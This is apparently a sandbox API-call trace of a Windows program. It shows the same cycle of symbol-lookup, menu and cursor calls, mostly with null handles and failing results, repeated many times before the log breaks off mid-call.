[0218.762] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.762] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.762] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.762] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.763] GetLastError () returned 0x579 [0218.763] SetLastError (dwErrCode=0x579) [0218.763] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.763] SymCleanup (hProcess=0x0) returned 0 [0218.763] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.763] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.763] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.763] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=874, param_4=220, param_5=0x0, param_6=0x0) returned 0 [0218.763] GetLastError () returned 0x579 [0218.763] SetLastError (dwErrCode=0x579) [0218.763] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.763] SymCleanup (hProcess=0x0) returned 0 [0218.763] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.763] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.763] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.763] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.763] GetLastError () returned 0x579 [0218.763] SetLastError (dwErrCode=0x579) [0218.763] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.763] SymCleanup (hProcess=0x0) returned 0 [0218.763] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.763] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.763] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.763] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.763] GetLastError () returned 0x579 [0218.764] SetLastError (dwErrCode=0x579) [0218.764] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.764] SymCleanup (hProcess=0x0) returned 0 [0218.764] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.764] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.764] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.764] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.764] GetLastError () returned 0x579 [0218.764] SetLastError (dwErrCode=0x579) [0218.764] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.764] SymCleanup (hProcess=0x0) returned 0 [0218.764] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.764] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.764] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.764] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.764] GetLastError () returned 0x579 [0218.764] SetLastError (dwErrCode=0x579) [0218.764] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.764] SymCleanup (hProcess=0x0) returned 0 [0218.764] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.764] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.764] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.764] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=225, param_4=248, param_5=0x0, param_6=0x0) returned 0 [0218.764] GetLastError () returned 0x579 [0218.765] SetLastError (dwErrCode=0x579) [0218.765] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.765] SymCleanup (hProcess=0x0) returned 0 [0218.765] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.765] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.765] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.765] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.765] GetLastError () returned 0x579 [0218.765] SetLastError (dwErrCode=0x579) [0218.765] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.765] SymCleanup (hProcess=0x0) returned 0 [0218.765] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.765] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.765] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.765] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0218.765] GetLastError () returned 0x579 [0218.765] SetLastError (dwErrCode=0x579) [0218.765] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.765] SymCleanup (hProcess=0x0) returned 0 [0218.765] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.765] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.765] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.765] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.765] GetLastError () returned 0x579 [0218.765] SetLastError (dwErrCode=0x579) [0218.766] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.766] SymCleanup (hProcess=0x0) returned 0 [0218.766] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.766] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.766] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.766] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.766] GetLastError () returned 0x579 [0218.766] SetLastError (dwErrCode=0x579) [0218.766] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.766] SymCleanup (hProcess=0x0) returned 0 [0218.766] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.766] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.766] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.766] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1290, param_4=801, param_5=0x0, param_6=0x0) returned 0 [0218.766] GetLastError () returned 0x579 [0218.766] SetLastError (dwErrCode=0x579) [0218.766] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.766] SymCleanup (hProcess=0x0) returned 0 [0218.766] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.766] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.766] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.766] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.766] GetLastError () returned 0x579 [0218.766] SetLastError (dwErrCode=0x579) [0218.766] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.767] SymCleanup (hProcess=0x0) returned 0 [0218.767] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.767] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.767] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.767] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.767] GetLastError () returned 0x579 [0218.767] SetLastError (dwErrCode=0x579) [0218.767] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.767] SymCleanup (hProcess=0x0) returned 0 [0218.767] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.767] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.767] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.767] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.767] GetLastError () returned 0x579 [0218.767] SetLastError (dwErrCode=0x579) [0218.767] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.767] SymCleanup (hProcess=0x0) returned 0 [0218.767] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.767] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.767] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.767] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=411, param_5=0x0, param_6=0x0) returned 0 [0218.767] GetLastError () returned 0x579 [0218.767] SetLastError (dwErrCode=0x579) [0218.767] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.767] SymCleanup (hProcess=0x0) returned 0 [0218.768] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.768] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.768] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.768] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=925, param_4=152, param_5=0x0, param_6=0x0) returned 0 [0218.768] GetLastError () returned 0x579 [0218.768] SetLastError (dwErrCode=0x579) [0218.768] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.768] SymCleanup (hProcess=0x0) returned 0 [0218.768] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.768] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.768] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.768] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.768] GetLastError () returned 0x579 [0218.768] SetLastError (dwErrCode=0x579) [0218.768] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.768] SymCleanup (hProcess=0x0) returned 0 [0218.768] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.768] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.768] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.768] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.768] GetLastError () returned 0x579 [0218.768] SetLastError (dwErrCode=0x579) [0218.768] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.768] SymCleanup (hProcess=0x0) returned 0 [0218.769] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.769] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.769] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.769] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.769] GetLastError () returned 0x579 [0218.769] SetLastError (dwErrCode=0x579) [0218.769] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.769] SymCleanup (hProcess=0x0) returned 0 [0218.769] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.769] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.769] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.769] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=426, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.769] GetLastError () returned 0x579 [0218.769] SetLastError (dwErrCode=0x579) [0218.769] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.769] SymCleanup (hProcess=0x0) returned 0 [0218.769] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.769] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.769] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.769] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=805, param_4=300, param_5=0x0, param_6=0x0) returned 0 [0218.769] GetLastError () returned 0x579 [0218.769] SetLastError (dwErrCode=0x579) [0218.769] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.769] SymCleanup (hProcess=0x0) returned 0 [0218.769] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.770] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.770] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.770] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.770] GetLastError () returned 0x579 [0218.770] SetLastError (dwErrCode=0x579) [0218.770] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.770] SymCleanup (hProcess=0x0) returned 0 [0218.770] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.770] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.770] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.770] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.770] GetLastError () returned 0x579 [0218.770] SetLastError (dwErrCode=0x579) [0218.770] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.770] SymCleanup (hProcess=0x0) returned 0 [0218.770] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.770] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.770] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.770] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.770] GetLastError () returned 0x579 [0218.770] SetLastError (dwErrCode=0x579) [0218.770] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.770] SymCleanup (hProcess=0x0) returned 0 [0218.770] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.770] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.771] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.771] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0218.771] GetLastError () returned 0x579 [0218.771] SetLastError (dwErrCode=0x579) [0218.771] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.771] SymCleanup (hProcess=0x0) returned 0 [0218.771] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.771] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.771] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.771] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=940, param_4=58, param_5=0x0, param_6=0x0) returned 0 [0218.771] GetLastError () returned 0x579 [0218.771] SetLastError (dwErrCode=0x579) [0218.771] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.771] SymCleanup (hProcess=0x0) returned 0 [0218.771] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.771] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.771] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.771] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.771] GetLastError () returned 0x579 [0218.771] SetLastError (dwErrCode=0x579) [0218.771] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.771] SymCleanup (hProcess=0x0) returned 0 [0218.771] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.771] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.771] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.772] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=422, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.772] GetLastError () returned 0x579 [0218.772] SetLastError (dwErrCode=0x579) [0218.772] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.772] SymCleanup (hProcess=0x0) returned 0 [0218.772] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.772] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.772] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.772] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.772] GetLastError () returned 0x579 [0218.772] SetLastError (dwErrCode=0x579) [0218.772] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.772] SymCleanup (hProcess=0x0) returned 0 [0218.772] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.772] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.772] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.772] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=427, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0218.772] GetLastError () returned 0x579 [0218.772] SetLastError (dwErrCode=0x579) [0218.772] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.772] SymCleanup (hProcess=0x0) returned 0 [0218.772] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.772] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.773] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.773] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=975, param_4=638, param_5=0x0, param_6=0x0) returned 0 [0218.773] GetLastError () returned 0x579 [0218.773] SetLastError (dwErrCode=0x579) [0218.773] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.773] SymCleanup (hProcess=0x0) returned 0 [0218.773] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.773] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.773] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.773] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.773] GetLastError () returned 0x579 [0218.773] SetLastError (dwErrCode=0x579) [0218.773] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.773] SymCleanup (hProcess=0x0) returned 0 [0218.773] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.773] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.773] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.773] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=407, param_5=0x0, param_6=0x0) returned 0 [0218.773] GetLastError () returned 0x579 [0218.773] SetLastError (dwErrCode=0x579) [0218.773] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.773] SymCleanup (hProcess=0x0) returned 0 [0218.773] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.773] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.774] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.774] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0218.774] GetLastError () returned 0x579 [0218.774] SetLastError (dwErrCode=0x579) [0218.774] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0218.774] SymCleanup (hProcess=0x0) returned 0 [0218.774] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0218.774] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0218.774] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0218.774] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=409, 